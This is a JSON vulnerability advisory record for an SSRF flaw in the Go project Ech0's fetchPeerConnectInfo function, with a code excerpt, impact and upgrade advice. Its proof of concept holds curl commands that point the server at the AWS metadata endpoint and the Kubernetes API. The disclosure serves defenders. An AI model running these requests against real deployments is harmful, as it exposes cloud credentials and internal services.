{"id":"CVE-2026-79659","aliases":["GHSA-8mc6-xjpr-h98x","GO-2026-5259"],"title":"Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo","summary":"Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo","severity":"high","cvss":7.7,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","vendor":"lin-snow","product":"github.com/lin-snow/ech0","ecosystem":"go","affected":["github.com/lin-snow/ech0 < 1.4.8-0.20260503040602-091d26d2d942"],"patched":["github.com/lin-snow/ech0 1.4.8-0.20260503040602-091d26d2d942"],"published":"2026-05-07","updated":"2026-08-27","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-8mc6-xjpr-h98x","references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"},{"url":"https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"},{"url":"https://github.com/lin-snow/Ech0"}],"tags":["osv","go"],"epss":0.00209,"epssPercentile":0.11305,"ingestedAt":"2026-08-27T19:27:46.445Z","slug":"CVE-2026-79659","body":"## Overview\n\n## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -d '{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}'\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer <token>\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -d '{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}'\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery\n\n## Affected packages\n\n- `github.com/lin-snow/ech0 < 1.4.8-0.20260503040602-091d26d2d942`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/lin-snow/ech0 1.4.8-0.20260503040602-091d26d2d942`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":42.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}